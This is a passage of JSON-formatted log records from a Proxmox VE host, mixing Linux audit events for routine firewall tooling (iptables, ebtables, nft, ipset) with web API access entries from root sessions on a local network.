877"} {"@timestamp":1781964298651,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964298.651:60437): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58028 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966260.977:69111): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336039,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.039:69348): arch=c000003e syscall=59 success=yes exit=0 a0=5673ea047d30 a1=5673ea053af0 a2=5673ea021680 a3=5 items=2 ppid=66565 pid=66571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964694849,"@rawstring":"node=pve type=EXECVE msg=audit(1781964694.849:62177): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781964102921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964102.921:59590): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966245274,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966245.274:69057): table=filter family=2 entries=133 op=xt_replace pid=66315 subj=unconfined comm=\"iptables-restor\""} {"@timestamp":1781964765411,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964765.411:62497): table=filter family=7 entries=4 op=xt_replace pid=59940 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345112,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.112:69379): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964752648,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965683561,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781964298641,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964298.641:60434): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=58027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966260.977:69110): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66360 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336036,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.036:69347): arch=c000003e syscall=59 success=yes exit=0 a0=5673cfa77ac8 a1=7ffd5a571480 a2=5673ea021680 a3=5673cfa5b24e items=2 ppid=66565 pid=66567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964690309,"@rawstring":"node=pve type=EXECVE msg=audit(1781964690.309:62176): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964102921,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964102.921:59589): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57228 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966235205,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966235.205:69031): table=filter family=7 entries=4 op=xt_replace pid=66293 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964755285,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964755.285:62452): table=filter family=7 entries=4 op=xt_replace pid=59895 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.108:69378): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964752648,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:31 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965683561,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:02 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964295900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.900:60431): arch=c000003e syscall=59 success=yes exit=0 a0=5a0d669020a0 a1=5a0d668fee20 a2=5a0d668e0680 a3=5 items=2 ppid=58020 pid=58026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.968:69108): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336035,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.035:69346): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd5a571440 a1=5673ea0433d0 a2=5673ea021680 a3=5 items=2 ppid=66565 pid=66566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964690302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964690.302:62173): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781964097915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964097.915:59584): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966226053,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966226.053:68995): table=filter family=7 entries=4 op=xt_replace pid=66256 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964745156,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964745.156:62410): table=filter family=7 entries=4 op=xt_replace pid=59856 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345108,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.108:69377): argc=1 a0=\"date\""} {"@timestamp":1781964751630,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:30 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965682460,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:28:01 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 890"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.896:60430): arch=c000003e syscall=59 success=yes exit=0 a0=5a0d51d73ac8 a1=7ffde3d8c970 a2=5a0d668e0680 a3=5a0d51d5724e items=2 ppid=58020 pid=58022 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255968,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.968:69107): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66359 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.031:69344): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=66565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685423,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.423:62170): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964097915,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964097.915:59583): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57222 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966215899,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966215.899:68953): table=filter family=7 entries=4 op=xt_replace pid=66215 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964736033,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964736.033:62374): table=filter family=7 entries=4 op=xt_replace pid=59819 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345104,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.104:69375): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964749819,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:29 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 853"} {"@timestamp":1781965682460,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:28:01 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 510"} {"@timestamp":1781964295896,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.896:60429): arch=c000003e syscall=59 success=yes exit=0 a0=7ffde3d8c930 a1=5a0d668e7310 a2=5a0d668e0680 a3=5 items=2 ppid=58020 pid=58021 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.957:69105): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.026:69343): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b4fbb0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685420,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.420:62169): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964097906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964097.906:59581): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966205736,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966205.736:68889): table=filter family=7 entries=4 op=xt_replace pid=66156 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964725906,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964725.906:62332): table=filter family=7 entries=4 op=xt_replace pid=59780 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345099,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.099:69374): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964749819,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:28 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 468"} {"@timestamp":1781965680736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:59 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 940"} {"@timestamp":1781964295890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.890:60427): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=58020 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255957,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.957:69104): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66358 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336020,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.020:69342): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66563 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685418,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.418:62168): argc=1 a0=\"date\""} {"@timestamp":1781964097906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964097.906:59580): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966195573,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966195.573:68844): table=filter family=7 entries=4 op=xt_replace pid=66111 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964715780,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964715.780:62290): table=filter family=7 entries=4 op=xt_replace pid=59739 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345093,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.093:69373): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964749819,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:28 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965680736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:59 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 509"} {"@timestamp":1781964295882,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.882:60426): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58019 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966255410,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966255.410:69098): arch=c000003e syscall=59 success=no exit=-2 a0=7ffc0d4338a0 a1=5f11893ce3d0 a2=5f11893ac680 a3=5 items=1 ppid=66350 pid=66351 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336015,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.015:69341): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685414,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.414:62166): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964096118,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.118:59576): arch=c000003e syscall=59 success=no exit=-2 a0=7fff3ef2f400 a1=5e77de719310 a2=5e77de712680 a3=5 items=1 ppid=57214 pid=57215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966185409,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966185.409:68802): table=filter family=7 entries=4 op=xt_replace pid=66072 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964705654,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964705.654:62248): table=filter family=7 entries=4 op=xt_replace pid=59700 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345085,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.085:69372): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964748682,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:27 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1093"} {"@timestamp":1781965680736,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:59 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781964295875,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.875:60425): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58018 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966250.950:69084): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336010,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.010:69340): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685408,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.408:62165): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964096026,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964096.026:59558): arch=c000003e syscall=59 success=no exit=-2 a0=7fff5b3cbf20 a1=5cbc072e3410 a2=5cbc072c1680 a3=5 items=1 ppid=57195 pid=57196 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966175253,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966175.253:68760): table=filter family=7 entries=4 op=xt_replace pid=66033 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964695525,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964695.525:62203): table=filter family=7 entries=4 op=xt_replace pid=59656 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345080,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.080:69371): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964746807,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:12:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 466"} {"@timestamp":1781965679733,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:27:59 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1109"} {"@timestamp":1781964295868,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.868:60424): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58017 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250950,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966250.950:69083): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66336 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966336005,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966336.005:69339): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964685401,"@rawstring":"node=pve type=EXECVE msg=audit(1781964685.401:62164): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964092898,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964092.898:59548): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=57185 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966166070,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781966166.070:68724): table=filter family=7 entries=4 op=xt_replace pid=65996 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781964685386,"@rawstring":"node=pve type=NETFILTER_CFG msg=audit(1781964685.386:62161): table=filter family=7 entries=4 op=xt_replace pid=59617 subj=unconfined comm=\"ebtables-restor\""} {"@timestamp":1781966345075,"@rawstring":"node=pve type=EXECVE msg=audit(1781966345.075:69370): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964746807,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:12:25 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 469"} {"@timestamp":1781965679733,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:27:58 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1106"} {"@timestamp":1781964295861,"@rawstring":"node=pve type=SYSCALL msg=audit(1781964295.861:60423): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=58016 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966250944,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966250.944:69081): arch=c000003e syscall=59 success=no exit=-2 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=1 ppid=1119 pid=66335 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"proxmox-firewal\" exe=\"/usr/libexec/proxmox/proxmox-firewall\" subj=unconfined key=\"exec\""} {"@timestamp":1781966335999,"@rawstring":"node=pve type=SYSCALL msg=audit(1781966335.999:69338): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e64a0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=66559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined 